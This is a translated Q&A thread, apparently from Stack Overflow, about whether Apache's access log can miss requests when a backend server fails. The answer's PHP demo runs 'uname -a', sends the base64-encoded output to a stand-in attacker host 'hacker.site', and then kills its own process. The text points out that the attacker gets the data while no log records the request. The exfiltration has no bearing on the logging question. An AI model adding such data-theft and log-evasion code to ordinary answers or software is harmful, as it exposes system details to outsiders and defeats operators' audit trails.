4

私の職場では、さまざまなJavaアプリケーションサーバーの前にApacheがあります。私はしばしば本番環境の問題を調査し、アプリケーションサーバーへのすべてのリクエストを記録するApacheアクセスログに依存する必要があります。それらは成功(200)、リダイレクト(302)、エラー(500)、またはその他のステータスです。

ただし、通常、アプリケーションサーバーが応答しなくなり、再起動が必要になった場合、一部のリクエストがログに記録されていないように見えることあります。

これをローカルで再現しようとしましたが(長時間実行されるリクエストを開始し、リクエストがApacheサーバーでタイムアウトを超えることを許可するか、コマンドラインからアプリケーションサーバーを強制終了します)、常にアクセスログにリクエストが記録されます。

私の質問は、Apacheは正常に実行されているが、アプリケーションサーバーの問題に直面していると仮定すると、Apacheアクセスログがリクエストを見逃すことはありませんか?

4

1 に答える 1

4

場合によってはリクエストを見逃す可能性があります。ドキュメントには重要な文が含まれています。

サーバーアクセスログには、サーバーによって処理されたすべての要求が記録されます。

したがって、リクエストが処理されない場合は、access_logへのエントリを期待しないでください。そのような状況を簡単に再現できるかどうか疑問に思ったら、私はそれを行う方法を見つけました。

次のPHPコード(test.php)を検討してください。

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());

また、preforkMPMとmod_phpモジュールを使用してApacheを実行する必要があります。次に、ブラウザまたはTelnetでリクエストを行います。

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.

ご覧のとおり、接続は応答なしで閉じられます。また、コードが実行され、攻撃者がコマンドのエンコードされた結果を受け取ったにもかかわらず、 access_logにもerror_logにもログがありませんuname -a

于 2018-07-09T23:16:02.113 に答える